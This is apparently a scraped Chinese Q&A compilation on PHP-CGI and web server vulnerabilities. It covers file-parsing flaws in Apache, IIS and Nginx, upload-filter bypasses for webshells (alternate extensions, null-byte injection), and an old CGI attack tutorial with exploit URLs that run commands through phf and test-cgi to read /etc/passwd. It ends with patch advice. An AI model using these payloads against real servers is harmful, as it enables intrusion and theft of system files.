phpcgi漏洞
1. 哪些服务器曾被发现文件解析漏洞
服务器解析漏洞总结
1、Apache1.x 2.x解析漏洞
Apache服务器解析文件时,从后向前遍历后缀名,直到遇到第一个可以被识别的后缀名,则按该种后缀方式进行文件解析。
这样造成一个危害是:如果应用限制了php等敏感后缀,我们可以通过上传x.php.jpg这种未被拦截的后缀的木马上传,访问时,Apache会因为无法识别jgp,而向前寻找,找到php,按照php文件进行正常解析。木马被执行。
2、IIS6.0解析漏洞
(1)如果目录名包含.asp .asa .cer这种字样,则该目录下所有文件都被当做asp来进行解析
(2)如果文件名中包含.asp;、.asa;、.cer;这种字样,也会被优先按照asp来进行解析
3、Nginx
(1)0.8.37以下的版本,可以上传一个不被过滤后缀名的木马,如:shell.jpg,可以通过请求shell.jpg.php来进行正常解析
(2)0.8.41 – 1.5.6间的版本,可以上传一个不被过滤后缀名的木马,如:shell.jpg,可以通过请求shell.jpg%20.php来进行解析
4、PHP CGI文件解析漏洞
(1)Nginx小于0.8.3以下的版本,且当默认php配置文件cgi.fix_pathinfo=1时,可以上传一个不被过滤后缀名的木马,如:shell.jpg,通过请求shell.phhp/shell.jpg,可以使得shell.jpg被当做php来解析
(2)IIS7.0/7.5之间的版本,如果存在多个Content-Disposition,则IIS会取第一个作为接受参数,同时,如果waf只取第二个进行检测的话,则有可能被绕过过滤。
2. 急急急!php网站 被发现有sql注入漏洞,还有PHP-CGI远程任意代码执行漏洞,这怎么修改需要时间长不长
现在一般框架都防止sql注入了啊
3. PHP漏洞有哪些
首先和ASP一样,对敏感字符过滤不严会导致注入..
还有PHP很有特点,他得运行程序是很人性化得,如果设置不好,随便提交个有错得地址之类就会告诉你绝对路径之类得敏感信息.
PHP包含过滤不严会导致读取任意文件.
变量过滤不严会导致伪造数据欺骗服务器.
等等等等好多..我说得这些都是比较常见和常用得
4. CGI漏洞怎么利用
我写这个并不是因为我已经厌倦了一遍又一遍地回答同样的问题,而是考虑到这确实是一个有意义的问题,其实很多人(90%)确实需要问这个问题而从来没有去问。
我被问了很多次有关安全领域的问题,比如:什么编程语言你最推崇?应该读什么书作为开始?总而言之,就是如何在安全领域内成为一个有影响的人。既然我的答案和一般的答案有所不同,我打算把我的看法说出来。
1.从哪里开始?
我的观点可能和一般的看法不同,如果你刚刚起步,我建议你不要从Technotronic,Bugtraq,Packetstorm,Rootshell等站点开始,没错?不要从那里开始(尽管它们是很好的站点,而且我的意思也并不是说不要去访问这些站点),原因十分简单,如果你以为通晓“安全”就是知道最新的漏洞,到头来你将会发现自己一无所获。
我同意,知道什么地方有漏洞是十分必要的,但是这些并不能够为你的高手之路打下坚实的基础,比如,你知道RDS是最新的漏洞,知道如何下载并使用对这个漏洞进行利用的Script工具,知道如何修补这个漏洞(也许,很多人只知如何攻击,不知道如何防护),可是,3个月后,补丁漫天飞舞,这个漏洞已经不存在了......现在你的那些知识还有什么用?而且你可能根本没有理解对漏洞的分析。
你应该学习的知识是什么?是分析?还是攻击手段?
这是我想要再次强调的,人们可能没有注意,已经有很多人认为他们只要知道最新的漏洞就是安全专家,NO!No!No!所有他们知道的只不过是“漏洞”,而不是“安全”。
例如:你知道有关于phf的漏洞,showcode.asp的漏洞,count.cgi和test.cgi的漏洞,但是你知道为什么它们会成为CGI的漏洞吗?你知道如何编一个安全的通用网关程序吗?你会根据一个CGI的工作状态来判断它可能有哪些漏洞或哪方面的漏洞吗?或者,你是不是只知道这些CGI有漏洞呢?
所以我建议你不要从漏洞开始,就当它们不存在(你知道我的意思),你真正需要做的是从一个普通用户开始。
2.做一个用户
我的意思是你至少要有一些基本的常规知识。例如:如果你要从事Web Hacking,你是否可能连浏览器都不会使用?你会打开Netscape,打开IE?很好!你会输入姓名,你知道HTML是网页,很好,你要一直这样下去,变成一个熟练的用户。你会区别ASP和CGI是动态的,什么是PHP?什么是转向,Cookies,SSL?你要知道任何一个普通用户可能接触到的关于Web的事物。不是进攻漏洞,仅仅是使用,没有这些基础的(也许是枯燥的)知识,你不可能成为高手,这里没有任何捷径。
好,现在你知道这里的一切了,你用过了。你在Hack UNIX之前你至少要知道如何Login,Logout,如何使用shell命令,如何使用一般的常用程序(Mail,FTP,Web,Lynx等)。
要想成为一个管理员,你需要掌握如下基本的操作。
3.成为一个管理员
现在你已经超过了一个普通用户的领域了,进入了更复杂的领域,你要掌握更多的知识。例如:Web服务器的类型,与其他的服务器有什么区别?如何去配置它,像这样的知识,你知道得越多就意味着你更了解它是如何工作的?它是干什么的?你理解HTTP协议吗?你知道HTTP1.0和HTTP1.1之间的区别吗?WEBDAV是什么?知道HTTP1.1虚拟主机有助于建立你的Web服务器吗?
你需要了解操作系统,如果你从来没有配置过NT,你怎么可能去进攻一个NT服务器?你从来没有用过Rdisk,用户管理器,却期望Crack一个管理员密码,得到用户权限?你想使用RDS,而你在NT下的操作一直使用图形界面?你需要从管理员提升到一个“超级管理员”,这不是指你有一个超级用户的权限,而是你的知识要贯穿你的所有领域。很好,你会在图形界面下添加用户,在命令方式下也能做到吗?而且,system32里的那些.exe文件都是干什么的?你知道为什么USERNETCTL必须要有超级用户权限?你是不是从来没有接触过USERNETCTL?不要以为知道如何做到就行了,要尽可能知道的更多,成为一名技术上的领导者,但是......
你不可能知道所有的事情。
这是我们不得不面对的事实。如果你认为你可以知道所有的事情,你在自欺欺人。你需要做的是选择一个领域,一个你最感兴趣的领域,并进一步学习更多的知识。
要想成为一名熟练用户,成为一名管理员,成为一名技术上的领导者,直至成为某一个领域中最优秀的人,不是仅仅学习如何使用web浏览器,怎样写CGI就行了,你知道HTTP和web服务器的原理吗?知道服务器不正常工作时应该怎样让它工作吗?当你在这个领域内有一定经验时,自然就知道怎样攻击和防护了
这其实是很简单的道理,如果你知道所有的关于这方面的知识,那么,你也就知道安全隐患在哪里。面对所有的漏洞(新的,旧的,将来的),你自己就能够发现未知的漏洞(你这时已经是一个网络高手了)
你找漏洞可以,但你必须了解漏洞的根源。所以,放下手中的Whisker的拷贝,去学习CGI到底是干什么的?它们怎么使通过HTTP的web服务器有漏洞的?很快你就会知道到底Whisker是干什么的了。
4.编程语言
在所有被问的问题中,最常听到的就是:“你认为应该学习什么编程语言?”
我想,这要看具体情况了,如你准备花费多少时间来学习?你想用这种语言做哪些事?想用多长时间完成一个程序?这个程序将完成多复杂的任务?
以下有几个选项。
Visual Basic
一种非常容易学习的语言。有很多关于这方面的书,公开的免费源代码也很多。你应该能够很快地使用它。但是这个语言有一定局限,它并不是诸如C++那样强大,你需要在windows下运行它,需要一个VB的编程环境(不论盗版还是正版的,反正它不是免费的)。想用VB来编攻击代码或补丁是十分困难的。
C++
也许是最强大的语言了。在所有的操作系统里都存在。在网上有上吨的源代码和书是免费的,包括编程环境。它比VB复杂,掌握它所需花费的时间也要比掌握VB多一些。简单的东西容易学,功能强大的东西理解起来也要困难一些,这需要你自己衡量。
Assembly
也许是最复杂的语言,也是最难学习的语言。如果你把它当作第一个要学习的语言,那么将会难得你头要爆裂。但是,先学会了汇编,其余的编程语言就变的很容易。市场上有一些这方面的书,但这方面的教材有减少的趋势。不过,汇编知识在某些方面至关重要,比如缓冲溢出攻击。
perl
一种很不错的语言。它像VB一样容易学习,也像VB一样有局限。但是它在多数操作平台中都能运行(UNIX和windows),所以这是它的优势。有很多这方面的书籍,而且它是完全免费的,你可以用它来制作一些普通的攻击工具。它主要用于一些文本方式的攻击技巧,并不适合制作二进制程序。
我想,这是所有你想知道的,有把握的说,c/c++是最佳选择。
你先看看这些吧
5. 文件上传漏洞有哪些挖掘思路
文件上传漏洞作为获取服务器权限最快的方式,虽然相关资料很多,但很多人对上传校验方式、如何针对性绕过检测、哪种上传和解析的场景会产生危害等还是比较模糊。本文作一些阐述,然后补充一些除了上传webshell的其他非常规挖掘姿势,包括XSS、重定向、Dos、CSRF等等。
1、基础知识:
要深入了解文件上传,必须了解上传属性、常见文件的结构、图形处理函数等内容。
1) 报文特点:
观察文件上传报文的特点:
Header中Content-Type特征有二:
1.multipart/form-data(form表单的enctype属性,规定为二进制数据)
2.boundary字符串(作用为分隔符,以区分POST数据)
POST内容特征有五:
1.Content-Disposition:form-data
2. name:input表单名
3.filename:文件名
4.Content-Type:定义文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件;
5.boundary:Content-Type的值前面加了两个---
2) 常见校验规则
现存常用的上传校验规则无非下面几类:
1.客户端javascript校验(后缀名)
2.文件头content-type字段校验(image/gif):附带参数
4.后缀名黑/白名单校验:扩展名
5.文件内容头校验:GIF89a
6.文件内容校验:文件信息,二次渲染
7.自定义正则校验
3)一个澄清
文件上传和文件解析是两个过程,即使我们上传的是php文件,但解析为图片,访问php文件会显示“图片无法显示”;或者我们上传的是jpg文件,但里面混有shell脚本,若被解析为php文件也会执行;又或者上传处没法绕过检测,只能上传jpg文件,但在其他功能处存在文件包含等功能,仍可执行成功。
还是回到安全的本质,上传是“输入”,那文件解析就是“输出”,任何漏洞挖掘都需要结合输入+输出。
2、绕过技巧:
这里汇总一些实战中较常用的绕过技巧:
1)后缀名黑名单
以下替换后缀也可以解析为shell:
php:.phtml,.phpt,.php3,.php3p
asp:.aspx,asmx,ashx,web.config
perl:.pl,.pm,.cgi,.lib
jsp:.jspx,.jsw,.jsv,.jspf
Coldfusion:.cfm,.cfml,.cfc,.dbm
另外可以配合操作系统的文件命名规则:
.php.,.php空格,.php:1.jpg,.php::$DATA等
这些后缀的文件会被windows系统自动去掉不符合规则符号后面的内容,从而只留下.php。
2)后缀名白名单
除了结合各种服务器解析特性,较常用的是Null Byte Injection空字节注入,插入空字节值的原因是某些应用程序服务器脚本语言使用c/c++库来检查文件名和内容。在C/C ++中,一行以/00结尾或称为NullByte。因此,只要解释器在字符串的末尾看到一个空字节,就会停止读取,认为它已经到达字符串的末尾。
如,我们将要上传的Happy.jpg的名称更改为Happy.phpA.jpg,然后上传文件,在Burp中捕获请求,切换到Hex视图。在字符串视图中找到文件名。查看相应的Hex表,并将41('A')替换为00(为空字节)。结果字符串变为Happy.php(空).jpeg。由于php解释器在内部使用C语言库,它将停止读取Happy.php后的文件名,文件将保存为Happy.php。
另一种绕过白名单的方法是使用双后缀:shell.php.jpg。
6. CGI漏洞向来是容易被人们忽视的问题
CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,攻破PCWEEK LINUX的黑客就是利用了CGI的一个漏洞。我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:[email protected]
一、phf.cgi攻击:
phf是大家所熟悉的了,它本来是用来更新PHONEBOOK的,但是许多管理员对它不了解以至于造成了漏洞。在浏览器中输入:
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
可以显示出PASSWD文档来。其实还可以用更好的命令来实现目的:
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
me=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
=haqr&Qemail=&Qnickname=&Qoffice_phone=
以上等于执行了命令:
id
ls -la ~someuser
cp /etc/passwd ~someuser/passwd
(用普通的可以进入的目录来看passwd)
rm ~someuser/passwd
二、php.cgi
除了PHF以外,php也是常见的漏洞,php.cgi 2.0beta10或更早版本中,允许anyone以
HTTP管理员身份读系统文件,在浏览器中输入:
http://boogered.system.com/cgi-bin/php.cgi?/etc/passwd
就可以看到想看的文件。
另外,一部分php.cgi还可以执行shell,原因是它把8k bytes字节放入128bytes的缓冲区中,造成堆栈段溢出,使得攻击者可以以HTTP管理员的身份执行。
但是只有PHP作为CGI脚本时才能实现,而在作为Apache模量是不能运行的。想检查能否运行,只要在浏览器中输入:
http://hostname/cgi-bin/php.cgi
如果你看到返回这样的字样就可以运行:
PHP/FI Version 2.0b10
...
三、test-cgi的问题
test-cgi同样是个常常出现的漏洞,在浏览器中输入:
http://thegnome.com/cgi-bin/test-cgi?\whatever
将会返回:
CGI/1.0 test script report:
argc is 0. argv is .
SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
再来一次,这样输入:
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
看到PASSWD了?
用netcat 80 端口 进行攻击:
machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80
返回:
CGI/1.0 test script report:
argc is 1. argv is /\*.
SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt
/root /sbin /stand /sys /tmp /usr /usr2 /var
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
显示出了根目录!这样试试:
machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80
返回:
CGI/1.0 test script report:
argc is 1. argv is \*.
SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger
cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html
mail-query mail-query-2 majordomo majordomo.cf marker.cgi
menu message.cgi munger.cgi munger.note ncsa-default.tar post-query
query smartlist.cf src subscribe.cf test-cgi uptime
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
显示了/CGI-BIN/目录下的东西。
CGI漏洞的利用(二)
CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破PCWEEK LINUX的黑客就是利用了CGI的一个漏洞。我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:[email protected]
四、Count.cgi溢出漏洞
Count.cgi(wwwcount)是国外网站经常用的CGI网页计数程序,国内很少有人用它,不过还是有一些网站的CGI-BIN目录下有它,简单说一下它的原理以及利用方法。
出现问题主要是由于QUERY_STRING 环境变量被复制到一个活动缓冲区,造成溢出,允许远程用户以HTTP管理员的身份执行任意命令。
有人写了个程序来利用这个漏洞,只对Count.cgi 24以下版本有效:
五、用Count.cgi看图片
这个不算是很有用的漏洞,可是既然写到这儿了,也就顺便提一下吧。可以利用Count.cgi看WEB目录以外的图片,据作者说有一些商业网站的图片里有一些商业机密,所以这个漏洞也算是有点用处吧!哈哈!
在浏览器中这样输入: 其中/path_to_gif/file.gif是你要看的图片的路径。
注意,这一漏洞只能被用来看(或下载)GIF格式的图片,而不能用于其他类型的文件。
7. 安装防病毒软件可防止php-cgi漏洞攻击吗
可以腾讯电脑管家保护安全
腾讯电脑管家对电脑内从速度、安全、系统、帐号风险等多个方面进行保护优化,帮助检查电脑的健康状况以及修复一些存在异常的系统部件。实时防护检测文件确保用户在浏览网页时杜绝钓鱼、挂载、篡改等恶意程序破坏电脑安全。确保网购安全,主动过滤搜索,防患于未然
8. Apache;PHP;漏洞Slow HTTP Denial of Service Attack怎么处理;下面是 httpd.conf 文件
denial-of-service attack
拒绝服务攻击;阻断服务攻击;停止服务攻击
例句筛选
1.
Denial of service attack against the provider's host.
对供应商主机的拒绝式服务攻击。
2.
Because quotas must be disabled, storage resources are more vulnerable to adenial of service attack.
因为必须禁用配额,所以存储资源更易受到拒绝服务攻击。
9. 关于PHP漏洞修复
因为官方已经停止更新了,是不会出新包的。如果想要修复,只能把自己的版本迭代,升级到php7。物竞天择,只能狠狠心更新版本了,项目可能要大换血
10. 怎么样在php中使用fastcgi解析漏洞及修复方案
(Nginx用户可以选择方案一或方案二,IIS用户请使用方案一)
方案一,修改php.ini文件,将cgi.fix_pathinfo的值设置为0。完成后请重启PHP和NGINX(IIS)。
方案二,在Nginx配置文件中添加以下代码:
复制代码 代码如下:
if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}